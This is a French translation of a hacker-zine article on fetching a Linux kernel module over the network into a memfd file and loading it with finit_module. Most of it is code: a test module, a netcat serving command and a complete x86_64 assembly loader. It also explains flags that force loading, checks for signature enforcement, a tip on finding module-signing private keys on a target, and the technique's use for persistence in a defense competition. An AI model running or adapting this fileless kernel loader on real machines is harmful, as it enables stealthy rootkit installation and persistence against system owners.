┌───────────────────────┐
                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                       │ █   █ █ █ █   █       │
                                                       │ █   █ █ █ █▀▀▀▀       │
                                                       │ █   █   █ █     ▄     │
                                                       │                 ▄▄▄▄▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄   ▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄▄▄▄▄ │
                                                       │                   █   │
Chargement en mémoire de module noyau                  │                   █   │
~ netspooky                                            └───────────────────█ ──┘

[ Traduction par 0xNinja ]

Puisque certains changements au noyau Linux, apparus ces quelques années
précédentes, ont bouleversé l'ancienne méthode de golf de binaires x86_64, j'ai
pensé qu'il serait bon de me pencher sur une technique de chargement de module
noyau à partir de ressources distantes. Nous allons voir deux appels système
utiles, ainsi que quelques points à considérer lors de l'emploi de cette
technique.

───[ Création d'un module de test ]─────────────────────────────────────────────

We will start by building a simple kernel module to test with. All it will do is
print a message to the kernel ring buffer (view with the `dmesg` command).

Nous allons commencer par créer un simple module noyau. Tout ce qu'il fait est
d'écrire un message au tampon noyau (visible avec la commande `dmesg`).

    // bang.c
    #include <linux/module.h>
    #include <linux/init.h>
    
    MODULE_LICENSE("GPL");
    
    static int __init he(void) {
        printk(KERN_INFO"we out here :}\n");
        return 0;
    }
    
    static void __exit le(void) {
        printk(KERN_INFO"we are no longer out here :{\n");
    }
    
    module_init(he);
    module_exit(le);

Le Makefile qui va avec :

    obj-m += bang.o
    dir = $(shell uname -rm | sed -e 's/\s/\-/')
    
    all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    
    strip: all
        strip bang.ko
        mkdir -p $(dir)
        cp -v bang.ko $(dir)/he.ko
    
    load: all
        sudo insmod bang.ko
    
    unload:
        sudo rmmod bang
    
    clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Pour compiler le module, utiliser la commande `make`.

Pour le partage réseau sur le port 42000 : `cat bang.ko | nc -k -lvp 42000`

───[ Le chargeur ]──────────────────────────────────────────────────────────────

Le chargeur que nous allons utiliser est plutôt trivial, mais je vais le passer
en revue plus en détails pour ceux qui souhaitent apprendre.

Nous allons télécharger ce module dans un fichier en mémoire. Nous devons alors
commencer par ouvrir un socket sur notre serveur (127.0.0.1:42000) qui héberge
le module noyau. Nous allons ensuite créer un fichier memfd pour le téléverser
vers le client.

L'appel système memfd_create sert à utiliser des fichiers temporaires qui n'ont
rien à voir avec un système de fichiers. C'est une manière simple pour écrire
dans un fichier qui n'existe que lors du contexte d'exécution de votre programme
et permet d'avoir un descripteur de fichier avec un fichier temporaire.

Voici un exemple pour exécuter un fichier memfd depuis /proc/self/fd/4 :
  https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100

Maintenant que nous avons notre fichier memfd, nous allons lire le tampon du
socket depuis le serveur distant, et écrire le contenu dans notre descripteur
de fichier.

Une fois le fichier téléchargé dans notre fichier memfd, nous utilisons l'appel
finit_module pour charger un module noyau depuis un descripteur de fichier.

───[ kl.asm ]───────────────────────────────────────────────────────────────────

;-- Télécharge un module noyau depuis 127.0.0.1:42000 en mémoire et le charge --
;  __  __ .   __  __  __  __ .  .  . Mise en place :
; |  ||__||_ |__ |__||  ||  ||_/|  |   $ cat somekernelmodule.ko | nc -lvp 42000
; |  ||   |     ||   |o ||o ||\ |__| Compilation :
; |  ||__ |__ __||   |__||__|| \ __|   $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket -----------------------------------------------------------------------
; Setting up the socket
; int socket(int domain, int type, int protocol);
;  rdi = int domain
;  rsi = int type
;  rdx = int protocol 
;-------------------------------------------------------------------------------
  push byte 0x29               ; Push socket syscall number
  pop rax                      ; RAX = socket syscall
  push byte 0x2                ; Push domain: AF_INET
  pop rdi                      ; RDI = AF_INET
  push byte 0x1                ; Push type: SOCK_STREAM
  pop rsi                      ; RSI = SOCK_STREAM
  cdq                          ; RDX = 0
  syscall                      ; socket syscall
; connect ----------------------------------------------------------------------
; On se connecte au server pour récupérer le contenu du fichier
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;  rdi = int sockfd
;  rsi = const struct sockaddr *addr
;  rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
  xchg rdi, rax                ; int sockfd
  mov rbx, rdi                 ; Save sockfd in rbx too for later
  mov dword [rsp-4], 0x100007F ; Our IP   = 127.0.0.1
  mov word  [rsp-6], 0x10A4    ; Our Port = 42000
  mov byte  [rsp-8], 0x02      ; sockfd
  sub rsp, 8                   ; Line up
  push byte 0x2a               ; Push connect syscall number
  pop rax                      ; RAX = connect syscall
  mov rsi, rsp                 ; const struct sockaddr *addr
  push byte 0x10               ; length
  pop rdx                      ; length -> rdx
  syscall                      ; Execute the connect syscall
; memfd_create -----------------------------------------------------------------
; On créer un fichier virtuel pour y écrire le contenu du tampon du socket
; int memfd_create(const char *name, unsigned int flags);
;  rdi = const char *pathname
;  rsi = int flags
;-------------------------------------------------------------------------------
  mov ax, 0x13f                ; The syscall
  push 0x474e4142              ; Filename BANG (GNAB here)
  mov rdi, rsp                 ; Arg0: The file name
  xor rsi, rsi                 ; int flags
  syscall                      ; Execute memfd_create syscall
; read -------------------------------------------------------------------------
; On lit le tampon du socket dans un autre tampon pour le sauvegarder en tant
; que fichier local
; ssize_t read(socket sockfd,buf,len)
;  rdi = int fd  
;  rsi = void *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov r9, rax                  ; Save the local file descriptor
  mov rdx, 0x400               ; size_t count = 1024 bytes 
rwloop:
  mov rdi, rbx                 ; Move sockFD to RDI
  xor rax, rax                 ; 0 is read sycall
  lea rsi, [rsp-1024]          ; buffer to hold output - arg1 *buf
  syscall                      ; Read syscall
; write ------------------------------------------------------------------------
; On écrit le tampon du socket dans notre fichier local
; ssize_t sys_write(fd,*buf,count)
;  rdi = int fd  
;  rsi = const *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov rdi, r9                  ; Copy the file descriptor from our local file
  mov rdx, rax                 ; RDX = # of bytes read, 0 means end of file
  xor rax, rax                 ; RAX = 0
  mov al, 1                    ; Syscall number
  syscall                      ; Write syscall
  cmp dx, 0x400                ; Check if there are still bytes left to read
  je rwloop                    ; Loop if so
; finit_module -----------------------------------------------------------------
; Chargement du module noyau via son descripteur de fichier
; int finit_module(int fd, const char *param_values, int flags);
;  rdi = int fd - The file descriptor
;  rsi = const char *param_values
;  rdx = int flags
;-------------------------------------------------------------------------------
  xor rax, rax                 ; RAX = 0
  push rax                     ; param_values
  mov rsi, rsp                 ; RSI = *param_values
  mov rax, 0x139               ; finit_module syscall
  mov rdi, r9                  ; int fd
  xor rdx, rdx                 ; int flags 
  syscall                      ; finit_module syscall
;--- Exit ----------------------------------------------------------------------
; void exit(int status);
;  rdi = int status
;-------------------------------------------------------------------------------
  mov rax, 0x3c                ; Exit Syscall
  mov rdi, 0x45                ; Return 69 for integrity check
  syscall                      ; Peace out

───[ Drapeaux finit_module ]────────────────────────────────────────────────────

L'appel système finit_module est assez intéressant car il permet de charger un
module noyau Linux. Normalement, cet appel charge un module depuis un pointeur
en mémoire. Cet appel charge un module depuis un descripteur de fichier, mais
il est possible de modifier les vérifications par défaut lors d'un chargement de
module. NOTE : les drapeaux de finit_module ne sont utilisables que si le noyau
cible permet le chargement forcé. (Voir la section suivante)

Les drapeaux à modifier sont définis dans include/uapi/linux/module.h, et sont
soumis à un OU logique puis donnés à l'appel système dans RDX.

    /* Drapeaux pour sys_finit_module : */
    #define MODULE_INIT_IGNORE_MODVERSIONS  1
    #define MODULE_INIT_IGNORE_VERMAGIC     2

Le drapeau MODULE_INIT_IGNORE_MODVERSIONS ignore les condenssats des versions
des symboles, et MODULE_INIT_IGNORE_VERMAGIC ignore la valeur magique de la
version du noyau par le module. Ces deux valeurs permettent de forcer un
chargement d'un module dans le noyau lorsqu'il devrait être rejetté par ce
dernier. Cela peut engendrer des comportements inatendus, à utiliser avec
précaution !

finit_module décrit cette fonctionnalité comme :

  ..useful when the authenticity of a kernel module can be determined from its
  location in the filesystem; in cases where that is possible, the overhead of
  using cryptographically signed modules to determine the authenticity of a
  module can be avoided. 

  - man 2 finit_module
  
  ... utile lorsque l'autenticité d'un module noyau peut être déterminée par sa
  localisation dans le système ; dans les cas où c'est possible, l'utilisation
  de modules signés cryptographiquement pour déterminer leur authenticité peut
  être évitée.

───[ Déterminer la compatibilité ]──────────────────────────────────────────────

La partie complexe du chargement de module noyau en général est qu'il existe une
multitude de configurations qui permettent ou non certains types de modules, ou
moyens de charger un module dans le noyau. Ce sont ces attributs de
configuration qu'il faut regarder avant d'essayer de charger un module noyau.

::: CONFIG_MODVERSIONS :::

S'il est activé (ex CONFIG_MODVERSIONS=y), alors il est possible de charger des
modules compilés pour un autre noyau.

Vérification : 

  $ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
  CONFIG_MODVERSIONS=y

Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html

::: CONFIG_MODULE_SIG_FORCE :::

S'il est activé, il ne sera pas possible de charger des modules non signés.

Vérification :

  $ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
  # CONFIG_MODULE_SIG_FORCE is not set

Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html

PROTIP : Il est possible d'énumérer dans le système les clés pré-existantes
selon le système cible.

Exemples

  /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der 
  /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509

::: CONFIG_MODULE_FORCE_LOAD :::

S'il est activé, permet le chargement de modules sans leur information de
version. Doit être activé si on souhaite utiliser les drapeaux de finit_module.
Dans le cas contraire, un échec avec l'erreur ENOEXEC est levé.

Vérification : 

  $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
  # CONFIG_MODULE_FORCE_LOAD is not set

Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html

───[ .fini ]────────────────────────────────────────────────────────────────────

Nous avons utilisé cette technique pour golfer un chargeur de module noyau. Mais
aussi pendant le WRCCDC sous forme de one-liner pour établir une persistance ad
hoc sur plusieurs machines avec la même configuration.

Il s'agit-là d'une technique parmis tant d'autres pour charger un module noyau.
Il y a encore tant à explorer, et j'espère vous avoir inspiré pour vous amuser !

Dédicace à : tmp.0ut, thugcrowd, vxug, tcpd

PS. Attendez-vous à un nouvel article sur le charcutage (mangling) d'ELF dans
les prochains tmp.0ut !